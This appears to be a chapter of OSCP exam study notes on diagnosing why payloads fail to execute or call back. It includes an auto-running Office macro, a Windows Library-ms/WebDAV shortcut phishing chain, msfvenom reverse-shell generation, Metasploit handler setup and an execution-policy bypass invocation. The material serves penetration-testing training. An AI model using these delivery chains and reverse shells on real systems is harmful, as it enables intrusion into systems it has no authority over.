7.1 Resolve payload execution obstacles

Strategy map | Master Notes | Operational index | Cheatsheets

Locate the first failed boundary: delivery → trigger → parser → format/runtime → execution policy/control → connection → session. Change the condition supported by evidence instead of replacing every payload component.

Speedrun blocks: 14; used throughout 4, 6, 7 and 12–13. Documented methods: 9.

Examples are hypothetical study material. Apply commands only to an assigned scope during the later practice phase. A method is enabled by its prerequisites; its presence here does not establish a vulnerability or practical mastery.

7.1.1 First pass: tools and findings

Use the branch matching the current host, identity and observed result. Tool output supplies leads; the linked procedure verifies and uses the exact condition.

7.1.1.1 Find the first failed runtime boundary

Check bytes, file type, architecture and runtime before trying another payload.

file FILE
sha256sum FILE
readelf -l FILE 2>/dev/null
uname -m

• If Wrong architecture or executable format: Fix the artifact/build before re-running it. → Compile and minimally adapt an existing native or memory-corruption PoC.
• If The file reaches a different parser than expected: Inspect quoting, encoding and the exact invocation. → Repair quoting, encoding and command-length boundaries.
• Otherwise: The artifact runs but no session appears: inspect handler and packet direction. → Pair staged payloads with the correct handler and session lifecycle.

7.1.1.2 Match the payload handler and connection direction

Keep the exact payload/session type, listener address and actual initiator together.

show options
jobs
sessions

• If Handler settings match but no packet arrives: Check the callback route from the target, including any pivot. → Diagnose connection direction, listener and session failures in order.
• If A session opens under the expected identity: Verify the host and make the command channel usable. → Verify command execution, host and represented identity.
• Otherwise: A connection immediately dies: inspect the actual process/session lifecycle rather than assuming a working shell. → Use a framework module with explicit target and feature constraints.

7.1.2 Discovery workflow

Start with the saved delivery/trigger/parser/runtime/connection chain and the last state actually proved.

Follow these observations into a method; the detailed recognition routes below show synthetic output and the checks still needed.

1. For client-side paths establish the consumer and required interaction before callbacks: Use a gated Office macro delivery chain; Use a Windows Library/WebDAV/shortcut chain with explicit interaction.
2. Inspect bytes, format, architecture, parser and runtime at the first failed boundary: Match an artifact to its executable consumer and runtime; Repair quoting, encoding and command-length boundaries.
3. Differentiate PowerShell language/policy and endpoint-control evidence: Distinguish PowerShell policy, language mode and protected execution layers; Interpret endpoint-control evidence and select a justified alternative.
4. Match the exact handler and session lifecycle, then inspect actual packet direction: Pair staged payloads with the correct handler and session lifecycle; Use a framework module with explicit target and feature constraints; Diagnose connection direction, listener and session failures in order.

Decision rule: an observed clue opens a candidate. Choose it only after the missing conditions are verified; a failed check rules out that context, while unavailable evidence stays inconclusive.

7.1.3 Method families

• Client-side delivery and interaction: Use a gated Office macro delivery chain, Use a Windows Library/WebDAV/shortcut chain with explicit interaction.
• Format, parser and control boundaries: Match an artifact to its executable consumer and runtime, Repair quoting, encoding and command-length boundaries, Distinguish PowerShell policy, language mode and protected execution layers, Interpret endpoint-control evidence and select a justified alternative.
• Handlers, framework state and callbacks: Pair staged payloads with the correct handler and session lifecycle, Use a framework module with explicit target and feature constraints, Diagnose connection direction, listener and session failures in order.

7.1.4 Choose a method

Get-Item .\FILE -Stream *
Get-Content .\FILE -Stream Zone.Identifier -ErrorAction SilentlyContinue

Zone.Identifier present
ZoneId=3
Office interaction: document opens; macro execution not observed

Get-Item .\FILE -Stream *
Get-Content .\FILE -Stream Zone.Identifier -ErrorAction SilentlyContinue

Sub AutoOpen()
    RunProof
End Sub

Sub Document_Open()
    RunProof
End Sub

Sub RunProof()
    CreateObject("WScript.Shell").Run _
        "cmd.exe /c whoami > %TEMP%\oscp-marker.txt", 0, True
End Sub

Get-Item -LiteralPath 'C:\PATH\FILE.docm' -Stream *
Get-Content -LiteralPath 'C:\PATH\FILE.docm' -Stream Zone.Identifier

Get-Content .\FILE.library-ms
Test-NetConnection LHOST -Port PORT

Library resource: http://LHOST:PORT/
Remote folder request: observed
Shortcut launch: not observed

Test-NetConnection LHOST -Port PORT
Get-Item .\FILE -Stream *

delivered .Library-ms
→ user opens library
→ Explorer reaches WebDAV location
→ user opens .lnk
→ shortcut launches chosen command
→ optional download/callback

mkdir -p webdav
wsgidav --host=0.0.0.0 --port=80 \
  --root=./webdav --auth=anonymous

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <name>@windows.storage.dll,-34582</name>
  <version>1</version>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1002</iconReference>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <isSupported>false</isSupported>
      <simpleLocation>
        <url>http://LHOST/</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

$shortcutPath = 'C:\PATH\webdav\ACTION.lnk'
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = "$env:SystemRoot\System32\cmd.exe"
$shortcut.Arguments = '/c whoami > %TEMP%\oscp-marker.txt'
$shortcut.WorkingDirectory = $env:TEMP
$shortcut.IconLocation = "$env:SystemRoot\System32\imageres.dll,11"
$shortcut.Save()

Explorer → WebDAV
shortcut command → optional payload/download server
executed payload → listener/handler

7.1.7 Match an artifact to its executable consumer and runtime

Blocks: 14; used throughout 4, 6, 7 and 12–13. Operational procedure | Quick sheet

7.1.7.1 Purpose and result

A correctly identified artifact/runtime boundary and a suitable execution choice.

7.1.7.2 Recognition clues

A downloaded/generated artifact exists but does not run.

7.1.7.2.1 Find the clue from your starting access

Where to investigate: Inspect a transferred/generated artifact's bytes, executable format and required consumer/loader before interpreting runtime errors.

Discovery action — reference example:

Access/context: A recorded delivery/execution chain with the expected consumer and effect

file FILE
sha256sum FILE
readelf -l FILE 2>/dev/null
uname -m

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

FILE: ELF 32-bit
Requested interpreter: /PATH/TO/LOADER
Execution error: No such file or directory

Recognize this detail: An existing file can fail because its loader/runtime is missing; this is separate from callback failure.

Still missing before method selection: Verify exact architecture, loader/runtime, permissions, mount policy, line endings and integrity.

If you do not yet have this clue: start with Diagnose connection direction, listener and session failures in order.

7.1.7.3 Prerequisites

Starting access: A recorded delivery/execution chain with the expected consumer and effect. Required conditions: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format.

7.1.7.4 Discover and verify prerequisites

file FILE
sha256sum FILE
readelf -l FILE 2>/dev/null
uname -m

7.1.7.5 Why it works

A file may exist while its dynamic loader is missing. A 64-bit OS can host a 32-bit consumer, and a DLL is not interchangeable with an EXE or script.

7.1.7.6 Execute and choose variants

The file extension is not the execution contract. Record all of these:

target OS and build
target process architecture
artifact format
loader/interpreter
execution identity and integrity
working directory and PATH
required runtime/libraries
arguments and quoting
network direction
handler protocol

7.1.7.6.1.1 Check whether the artifact can execute in the Linux environment Linux checks

uname -a
uname -m
file PAYLOAD
readelf -h PAYLOAD | sed -n '1,25p'
ldd PAYLOAD
ls -l PAYLOAD
findmnt -T /PATH/TO/PAYLOAD
head -n 1 SCRIPT

Common interpretations:

• Exec format error: wrong format/architecture or invalid interpreter line;
• Permission denied: missing execute permission, inaccessible parent directory, noexec, policy or identity issue;
• No such file or directory when the file exists: missing dynamic loader or broken shebang interpreter;
• missing shared object: runtime library mismatch;
• ^M in a shebang: CRLF line endings changed the interpreter path;
• works interactively but not through cron/service: environment, working directory, shell, identity or route differs.

7.1.7.6.1.2 Check whether the artifact matches the Windows execution environment Windows checks

Get-CimInstance Win32_OperatingSystem |
  Select-Object Caption,Version,BuildNumber,OSArchitecture

[Environment]::Is64BitOperatingSystem
[Environment]::Is64BitProcess
$env:PROCESSOR_ARCHITECTURE
Get-AuthenticodeSignature -FilePath 'C:\PATH\PAYLOAD.exe'

Keep OS architecture and consumer-process architecture separate. A 64-bit OS can run a 32-bit process under WOW64; injected code and DLLs must match the process they enter. A normal executable is not necessarily a service executable, DLL, MSI or script:

7.1.7.7 Worked example — hypothetical

Observation: Linux says not found for an existing executable. Test: inspect its ELF interpreter and architecture. Illustrative output: the required loader is absent. Interpretation: choose a compatible artifact rather than changing callback IPs.

7.1.7.8 Verify the result

Verify matching bytes, consumer and actual minimal execution effect; on Windows inspect PE architecture/runtime and resulting process.

7.1.7.9 Failure and fallback

Permission, mount policy, CRLF/shebang, missing runtime and architecture mismatches require different fixes.

7.1.7.10 Continue from the interpreted result

7.1.8 Repair quoting, encoding and command-length boundaries

Blocks: 14; used throughout 4, 6, 7 and 12–13. Operational procedure | Operational procedure | Quick sheet

7.1.8.1 Purpose and result

A command representation that survives every required parser.

7.1.8.2 Recognition clues

A simple command works while a longer or nested payload fails.

7.1.8.2.1 Find the clue from your starting access

Where to investigate: Compare the last working simple command with the first added quoting/encoding layer; record which parser receives each representation.

Discovery action — reference example:

Access/context: A recorded delivery/execution chain with the expected consumer and effect

curl -skG --data-urlencode 'PARAM=NORMAL_VALUE' http://TARGET:PORT/PATH

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Simple id command: expected output
Added Bash redirection through sh: syntax error

Recognize this detail: The break follows a shell-language/representation change, so network or exploit applicability need not have changed.

Still missing before method selection: Confirm outer decoding, actual inner shell, length and correct byte/string encoding with a small test.

If you do not yet have this clue: start with Diagnose connection direction, listener and session failures in order.

7.1.8.3 Prerequisites

Starting access: A recorded delivery/execution chain with the expected consumer and effect. Required conditions: Known outer request/template/database parser and inner shell; correct character encoding and transport length.

7.1.8.4 Discover and verify prerequisites

$command = 'whoami'
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))

7.1.8.5 Why it works

HTTP encoding, shell quoting, PowerShell UTF-16LE encoding and application string escaping solve different transformations. Encoding is not encryption or an endpoint-control bypass.

7.1.8.6 Execute and choose variants

Write the real chain:

document/shortcut or HTTP/SQL/template input
→ application parser
→ VBA/WScript/application runtime
→ cmd.exe /c, /bin/sh -c or PowerShell
→ final command/payload

Start with a short marker at every layer. Check:

• quote ownership at each layer;
• expansion of %VAR%, $VAR and PowerShell variables;
• metacharacters such as &, |, <, >, ;, backticks and parentheses;
• URL/JSON/XML/Base64 decode count;
• command-line, VBA-string, request-field or exploit-buffer length;
• current directory and relative paths.

PowerShell encoded-command preparation:

$command = 'COMMAND'
$bytes = [Text.Encoding]::Unicode.GetBytes($command)
[Convert]::ToBase64String($bytes)

powershell.exe -NoProfile -NonInteractive -EncodedCommand BASE64_UTF16LE

-EncodedCommand uses UTF-16LE. It solves some transport/quoting problems; it is not encryption and does not establish antimalware evasion.

Write the parser chain explicitly:

HTTP/SQL/template parser
→ application language
→ command launcher (`system`, `cmd /c`, `/bin/sh -c`, PowerShell)
→ target shell/interpreter
→ payload command

Test each layer with a small command. Encode only for the layer that consumes the characters:

python3 -c 'import urllib.parse; print(urllib.parse.quote("COMMAND"))'

Typical failures:

• &, |, >, <, $, backticks, quotes or spaces consumed by an outer shell;
• URL decoding occurs zero, one or two times;
• JSON, XML, SQL or template quoting changes the command;
• PowerShell receives UTF-8 Base64 instead of required UTF-16LE;
• payload length exceeds a field, command line or exploit buffer;
• 32-bit payload is injected into a 64-bit context or the reverse.

7.1.8.7 Worked example — hypothetical

Observation: a Bash redirection fails through an application using sh. Test: wrap the Bash-specific expression in the intended interpreter and correctly encode the outer request. Illustrative output: the minimal command succeeds. Interpretation: add the connection step only after parser proof.

7.1.8.8 Verify the result

Verify received/executed command behavior at each parser boundary with small discriminating tests.

7.1.8.9 Failure and fallback

Truncation, double decoding or mismatched shell syntax should not be treated as missing network connectivity.

7.1.8.10 Continue from the interpreted result

7.1.9 Distinguish PowerShell policy, language mode and protected execution layers

Blocks: 14; used throughout 4, 6, 7 and 12–13. Operational procedure | Quick sheet

7.1.9.1 Purpose and result

An evidence-based diagnosis and compatible execution choice.

7.1.9.2 Recognition clues

PowerShell reports scripts disabled, constrained syntax or an execution-control error.

7.1.9.2.1 Find the clue from your starting access

Where to investigate: Use the failing PowerShell error to inspect execution policy, language mode and actual runtime before choosing an allowed execution form.

Discovery action — reference example:

Access/context: A recorded delivery/execution chain with the expected consumer and effect

Get-ExecutionPolicy -List
$ExecutionContext.SessionState.LanguageMode
$PSVersionTable

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Error: script execution is disabled
LanguageMode: FullLanguage
Effective policy scope: inspect

Recognize this detail: A script policy gate is distinct from language-mode restrictions or an antimalware verdict.

Still missing before method selection: Identify the actual controlling policy and permitted execution path; encoding/policy arguments do not remove unrelated controls.

If you do not yet have this clue: start with Diagnose connection direction, listener and session failures in order.

7.1.9.3 Prerequisites

Starting access: A recorded delivery/execution chain with the expected consumer and effect. Required conditions: Actual host policy/language context and a supported allowed execution route; required runtime features remain available.

7.1.9.4 Discover and verify prerequisites

Get-ExecutionPolicy -List
$ExecutionContext.SessionState.LanguageMode
$PSVersionTable

7.1.9.5 Why it works

Execution policy, Constrained Language Mode, AMSI and WDAC/AppLocker operate at different boundaries. A command-line policy option does not remove every control or grant privileges.

7.1.9.6 Execute and choose variants

Do not merge these different controls:

Read-only checks:

Get-ExecutionPolicy -List
$ExecutionContext.SessionState.LanguageMode

Get-MpComputerStatus |
  Select-Object AntivirusEnabled,RealTimeProtectionEnabled,
    BehaviorMonitorEnabled,IoavProtectionEnabled,AntivirusSignatureVersion

Get-MpThreatDetection |
  Select-Object InitialDetectionTime,ThreatID,ActionSuccess,Resources

Get-AppLockerPolicy -Effective -Xml

Get-WinEvent -LogName 'Microsoft-Windows-Windows Defender/Operational' `
  -MaxEvents 50 -ErrorAction SilentlyContinue |
  Select-Object TimeCreated,Id,LevelDisplayName,Message

Get-WinEvent -LogName 'Microsoft-Windows-AppLocker/EXE and DLL' `
  -MaxEvents 50 -ErrorAction SilentlyContinue |
  Select-Object TimeCreated,Id,Message

Get-WinEvent -LogName 'Microsoft-Windows-AppLocker/MSI and Script' `
  -MaxEvents 50 -ErrorAction SilentlyContinue |
  Select-Object TimeCreated,Id,Message

Cmdlets, logs and fields vary by edition, installed modules, permissions and control product. Missing output is inconclusive.

Execution policy is defense in depth, not a Windows security boundary. A process-scoped policy setting may change script-loading behavior when GPO does not override it:

powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\PATH\SCRIPT.ps1

This does not disable AMSI, application control, antimalware, permissions or network controls. Do not change persistent machine/user policy merely to test a payload.

7.1.9.7 Worked example — hypothetical

Observation: an unsigned script is blocked. Test: inspect policy and language mode. Illustrative output: a signed-script rule is active while simple allowed commands work. Interpretation: choose an allowed mechanism without claiming a universal bypass.

7.1.9.8 Verify the result

Record the exact failing layer and demonstrate the chosen permitted operation's actual effect.

7.1.9.9 Failure and fallback

A language-mode error, antimalware block and script policy message require different next decisions.

7.1.9.10 Continue from the interpreted result

7.1.10 Interpret endpoint-control evidence and select a justified alternative

Blocks: 14; used throughout 4, 6, 7 and 12–13. Operational procedure | Operational procedure | Quick sheet

7.1.10.1 Purpose and result

A supported failure classification and selected alternative delivery/execution path.

7.1.10.2 Recognition clues

An artifact disappears, a process is blocked, or execution is stopped with a policy/security event.

7.1.10.2.1 Find the clue from your starting access

Where to investigate: Check artifact persistence/hash and, when permitted, the matching security/policy event before labelling a missing effect as endpoint detection.

Discovery action — reference example:

Access/context: A recorded delivery/execution chain with the expected consumer and effect

Test-Path .\FILE
Get-FileHash .\FILE -Algorithm SHA256 -ErrorAction SilentlyContinue

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

After transfer: file present with expected hash
Before launch: file absent
Matching security event: inspect

Recognize this detail: A disappearing artifact narrows the boundary but does not identify a particular control without corroboration.

Still missing before method selection: Correlate file/process/event identity, time and exact action before selecting an alternative consumer.

If you do not yet have this clue: start with Diagnose connection direction, listener and session failures in order.

7.1.10.3 Prerequisites

Starting access: A recorded delivery/execution chain with the expected consumer and effect. Required conditions: Observable evidence at the relevant boundary and a compatible alternative whose own prerequisites hold.

7.1.10.4 Discover and verify prerequisites

Test-Path .\FILE
Get-FileHash .\FILE -Algorithm SHA256 -ErrorAction SilentlyContinue

7.1.10.5 Why it works

Disappearance, access denial and a missing callback are not interchangeable proof of antivirus detection. Hash, file persistence, process creation and available events narrow the failed boundary.

7.1.10.6 Execute and choose variants

Modern protection can inspect files, scripts after decoding, process memory, behavior and network activity. Therefore:

• changing a filename does not imply a new payload;
• Base64 does not imply concealment from AMSI;
• an in-memory technique is not automatically invisible;
• an encoder is primarily useful for transport/bad-character constraints, not guaranteed AV bypass;
• a clean third-party scanner result does not prove execution on the target and may disclose a private sample.

Prefer the least complex route already supported by evidence: a direct command, native interpreter, authenticated management service or simple command shell may meet the objective without a custom binary. Deep shellcode development, process-injection implementation and generalized AV-bypass recipes are outside this speedrun.

Windows Defender status, when the current identity can query it:

Get-MpComputerStatus |
  Select-Object AntivirusEnabled,RealTimeProtectionEnabled,BehaviorMonitorEnabled,IoavProtectionEnabled

Do not label every failure “AV.” Differentiate:

• file never arrived or hashes differ;
• file arrived and disappeared/quarantined;
• process creation was denied;
• script content was blocked;
• process started and exited/crashed;
• callback was blocked after execution;
• application-control or language-mode restrictions;
• ordinary format, architecture, permission or dependency errors.

Prefer an already available native or authenticated route when it satisfies the objective. Encoding is transport representation, not proof of evasion. Custom shellcode development and deep AV-bypass work are outside this unit.

For MOTW/Office/Library-file delivery, execution-policy precedence, AMSI/AppLocker/Defender evidence and restricted Metasploit module/session handling, continue with payload execution obstacles.

7.1.10.7 Worked example — hypothetical

Observation: the transferred file vanishes before it is launched. Test: verify transfer integrity and available control events. Illustrative output: quarantine evidence names the file. Interpretation: execution has not been demonstrated; choose a justified allowed approach rather than changing listener syntax.

7.1.10.8 Verify the result

Tie the observed block to the artifact/process and preserve the exact error/event context privately.

7.1.10.9 Failure and fallback

No event visibility leaves the diagnosis inconclusive. Deep control-bypass development is not added through troubleshooting.

7.1.10.10 Continue from the interpreted result

7.1.11 Pair staged payloads with the correct handler and session lifecycle

Blocks: 14; used throughout 4, 6, 7 and 12–13. Operational procedure | Operational procedure | Quick sheet

7.1.11.1 Purpose and result

A verified intended session rather than merely a connected socket.

7.1.11.2 Recognition clues

A payload connects without a session, or a handler/session exits unexpectedly.

7.1.11.2.1 Find the clue from your starting access

Where to investigate: In the selected handler console compare the exact payload/options with the generated artifact and inspect job/session state.

Discovery action — reference example:

Access/context: A recorded delivery/execution chain with the expected consumer and effect

show options
jobs
sessions

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Artifact payload: staged PAYLOAD_NAME
Listener: raw Netcat
Sessions: none

Recognize this detail: The first-stage protocol may be reaching a receiver that cannot provide the remaining stage.

Still missing before method selection: Verify exact payload/architecture/transport pair, listener bind, stage route and lifecycle.

If you do not yet have this clue: start with Generate a payload matching OS, process, format and handler.

7.1.11.3 Prerequisites

Starting access: A recorded delivery/execution chain with the expected consumer and effect. Required conditions: Exact payload/architecture/transport pairing, correct listener binding, reachable staging path and suitable job/session configuration.

7.1.11.4 Discover and verify prerequisites

show options
jobs
sessions

7.1.11.5 Why it works

A handler speaks the payload's protocol. Staged payloads need the rest of their payload after the first connection; jobs, sessions and listener lifecycle are different framework state.

7.1.11.6 Execute and choose variants

msfvenom -l payloads | grep -E 'linux|windows' | grep -E 'x64|x86'
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options

Baseline stageless command shells:

msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f elf -o shell.elf

msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f exe -o shell.exe

file shell.elf shell.exe
sha256sum shell.elf shell.exe

Existing reviewed PoC with documented byte restrictions:

msfvenom -p PAYLOAD_NAME \
  LHOST=LHOST LPORT=LPORT \
  EXITFUNC=thread \
  -f FORMAT -v VARIABLE \
  -b 'BAD_CHARACTERS' -s MAX_SPACE

Use EXITFUNC only when the exploit/consumer requires that termination behavior. Never invent bad characters or size limits.

Staging distinction:

windows/x64/shell_reverse_tcp  single/stageless
windows/x64/shell/reverse_tcp  staged

A staged payload first connects and asks its handler for the larger stage. A raw Netcat listener cannot supply that protocol.

Matching handler:

msfconsole -q
use exploit/multi/handler
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
set ExitOnSession false
show options
run -j

Manage the resulting job/session deliberately:

jobs -l
sessions -l
sessions -i SESSION_ID
background
sessions -k SESSION_ID
jobs -k JOB_ID

ExitOnSession false keeps the handler available after a session opens. run -j backgrounds the handler. A session ID is local to that framework instance; record the target, identity, payload and listener rather than relying on the number alone.

Handler failure cues:

7.1.11.7 Worked example — hypothetical

Observation: a staged payload reaches a raw TCP listener. Test: match the exact payload in its supported handler. Illustrative output: staging completes and a session is listed. Interpretation: verify the target and identity through it.

7.1.11.8 Verify the result

Verify the resulting session's host/identity and keep the listener/payload relationship explicit.

7.1.11.9 Failure and fallback

Wrong payload family, second-stage filtering, listener bind or handler lifecycle can explain the same superficial no-session symptom.

7.1.11.10 Continue from the interpreted result

7.1.12 Use a framework module with explicit target and feature constraints

Blocks: 14; used throughout 4, 6, 7 and 12–13. Operational procedure | Quick sheet

7.1.12.1 Purpose and result

An independently verified module effect and a tracked framework context.

7.1.12.2 Recognition clues

A reviewed module fits a verified exploit prerequisite set.

7.1.12.2.1 Find the clue from your starting access

Where to investigate: Read the selected module's information/targets/options and compare them with independently gathered component evidence before any target check/run.

Discovery action — reference example:

Access/context: A recorded delivery/execution chain with the expected consumer and effect

info
show options
show targets
show payloads

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Module target: BUILD_AND_PLATFORM
Required option: authenticated ROLE
Observed target: role/feature not yet verified

Recognize this detail: The module describes conditions to investigate; its existence is not a vulnerability result.

Still missing before method selection: Verify exact target/configuration, access, payload/route and current feature restrictions before selecting it.

If you do not yet have this clue: start with Match a public exploit to the actual component and configuration.

7.1.12.3 Prerequisites

Starting access: A recorded delivery/execution chain with the expected consumer and effect. Required conditions: Correct module/target/options, accepted payload/delivery route and the applicable current exam feature/target restrictions.

7.1.12.4 Discover and verify prerequisites

info
show options
show targets
show payloads

7.1.12.5 Why it works

Module completion or a vulnerability check is not a verified foothold. Module, handler and payload choices have different behavior and policy treatment; keep their roles explicit.

7.1.12.6 Execute and choose variants

Manual module inspection:

search type:exploit cve:CVE_ID
info MODULE_PATH
use MODULE_PATH
show options
show advanced
show targets
show payloads
set RHOSTS TARGET
set RPORT PORT
set TARGET TARGET_ID
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
show missing
run

Interpretation rules:

• module rank describes expected exploit stability, not target vulnerability;
• check is an active module operation and does not prove exploitability when unsupported or inconclusive;
• target IDs, default payloads and options vary by module/version;
• automatic target selection is still an assumption to verify;
• a module's success message is weaker than a verified session, host and identity;
• setg persists values across modules and can silently aim later work at the wrong host; prefer local set unless global state is intentionally tracked.

Current OSCP+ restriction:

• msfvenom and exploit/multi/handler may be used against all targets, except that a Meterpreter payload remains subject to the one-target limit;
• any Metasploit Auxiliary, Exploit or Post module—or Meterpreter payload—locks the selection to one target, even if check or the attack fails;
• Metasploit pivoting is prohibited;
• automatic exploitation tools are prohibited.

Use manual/source-reviewed exploitation as the reusable baseline. Decide on the restricted Metasploit target deliberately and record that decision before using a restricted module or Meterpreter.

7.1.12.7 Worked example — hypothetical

Observation: a module reports completion without a session. Test: inspect its expected effect, actual target selection and staged route. Illustrative output: execution occurred but the callback path is missing. Interpretation: retain execution proof and diagnose transport.

7.1.12.8 Verify the result

Verify destination effect and identity outside the module's status message.

7.1.12.9 Failure and fallback

The official guide limits module/Meterpreter use to one target, with stated handler/msfvenom exceptions; even a failed check can commit the choice. Recheck the linked guide before choosing the feature.

7.1.12.10 Continue from the interpreted result

7.1.13 Diagnose connection direction, listener and session failures in order

Blocks: 14; used throughout 4, 6, 7 and 12–13. Operational procedure | Operational procedure | Operational procedure | Operational procedure | Quick sheet

7.1.13.1 Purpose and result

The first failed delivery/execution/transport/session boundary and a targeted next test.

7.1.13.2 Recognition clues

Command execution or payload delivery exists but the expected usable channel does not.

7.1.13.2.1 Find the clue from your starting access

Where to investigate: Return to the last observed execution proof, inspect listener bind/address and compare actual packet arrival with the expected direction.

Discovery action — reference example:

Access/context: A recorded delivery/execution chain with the expected consumer and effect

ss -lnt
ip route get TARGET
sudo tcpdump -ni INTERFACE tcp port PORT

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Execution proof: confirmed
Listener: bound on EXPECTED_PORT
Packet observation: no target SYN

Recognize this detail: The channel failed before an observed connection; investigate trigger/advertised route/egress before terminal repair.

Still missing before method selection: Name the process initiating the connection and its actual destination address/port. Check the listener bind and each route/pivot leg; if delivery works but no callback arrives, repair the return path before changing payload bytes.

If you do not yet have this clue: start with Verify command execution, host and represented identity.

7.1.13.3 Prerequisites

Starting access: A recorded delivery/execution chain with the expected consumer and effect. Required conditions: A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence.

7.1.13.4 Discover and verify prerequisites

ss -lnt
ip route get TARGET
sudo tcpdump -ni INTERFACE tcp port PORT

7.1.13.5 Why it works

No packets, rejected packets, accepted connection and unstable shell are different states. Reverse callbacks and target downloads need routes independent of the initiating exploit.

7.1.13.6 Execute and choose variants

1. Delivery: prove the request/file/argument reaches the intended consumer.
2. Execution: prove id/whoami, hostname or a bounded side effect in the exact context.
3. Parser: verify quoting, encoding, interpreter, working directory and length.
4. Payload: confirm OS, architecture, format, staged/stageless type and dependencies.
5. Listener: start it first and verify the bound address and port.
6. Route: test target-to-listener reachability from the execution context.
7. Security control: use concrete errors, quarantine, logs or process behavior.
8. Session: repair TTY, buffering, encoding and job control after connection.

Target-side route checks where available:

nc -vz LHOST LPORT
curl -v --connect-timeout 5 http://LHOST:LPORT/

Test-NetConnection LHOST -Port LPORT -InformationLevel Detailed

Observe Kali while triggering:

sudo tcpdump -ni any tcp port LPORT

Interpretation:

1. Reproduce a harmless direct command in the exact vulnerable or user context.
2. Confirm file/request integrity, final path and consumer.
3. Identify every parser, interpreter and loader.
4. Match target OS, process architecture, artifact format and runtime dependencies.
5. Verify permissions, working directory, execution policy and application-control evidence.
6. Start the correct listener/handler and prove its bind.
7. Prove the target-to-listener route separately.
8. Inspect concrete antimalware, application-control and process-failure evidence.
9. Repair session I/O only after a connection exists.

If step 1 fails, this is not yet a payload problem. Return to the exploit, input parser or execution primitive.

7.1.13.6.1.1 A. Document delivered, no callback

Observed: document exists
Unknown: opened, macro permitted, child command, network route
Test: MOTW/policy → harmless marker → child process/download → callback route
Action: repair first failed gate; do not regenerate the payload first

7.1.13.6.1.2 B. Executable disappears after transfer

Observed: transfer response succeeded
Test: destination listing/hash → Defender detection/resource/event
Interpretation: transfer success is not retention; quarantine requires evidence
Action: choose a justified alternate execution form or native route, within scope

7.1.13.6.1.3 C. PowerShell says scripts are disabled

Observed: explicit execution-policy error
Test: Get-ExecutionPolicy -List and GPO precedence
Action: use a process-scoped invocation if allowed; do not call this an AMSI result

7.1.13.6.1.4 D. Connection reaches Netcat but there is no shell

Observed: TCP connection
Test: generated payload name
Interpretation: staged payload may have reached a raw listener
Action: use exact multi/handler or generate a compatible stageless command shell

7.1.13.6.1.5 E. Binary exists but returns “not found” on Linux

Observed: path and file exist
Test: file, readelf interpreter, ldd, shebang
Interpretation: loader/interpreter dependency may be missing
Action: build/choose a compatible artifact; do not change callback settings

7.1.13.6.1.6 F. Metasploit module reports completion, no session

Observed: module ran
Test: exact target profile, payload, callback route, handler output and service state
Interpretation: completion is not verified execution/session
Action: preserve module output and diagnose the first missing state

artifact/request
→ delivered to intended consumer
→ required user/trigger action
→ parser/interpreter/loader
→ process or bounded side effect
→ network connection
→ handler protocol
→ usable session

Do not replace the artifact, payload, listener and route simultaneously. Record the last confirmed boundary and test the next one.

7.1.13.7 Worked example — hypothetical

Observation: the payload executes but no SYN reaches the listener. Test: check advertised address and target route before changing handlers. Illustrative output: the callback uses a non-routed Kali interface. Interpretation: provide the reachable address/forward and retest the same verified primitive.

7.1.13.8 Verify the result

Use command proof, packet evidence and actual channel behavior to identify the first failed boundary.

7.1.13.9 Failure and fallback

A timeout alone is inconclusive. Return to the original trigger if execution is unproved; use handler/TTY repair only after the prior state is confirmed.

7.1.13.10 Continue from the interpreted result

7.1.14 Sources and shared concepts

Supplied PEN-200 Ch 12 pp343–374, selected Ch 15 pp416–441 and Ch 21 pp653–704. Current policy is governed by the official exam guide.

Commands and their adjacent variant conditions are synchronized extracts of the linked operational procedures. Those procedures own complete execution details; this guide owns method selection, explanations and worked reasoning. Tool availability on the learner's Kali or a target must be checked in that environment.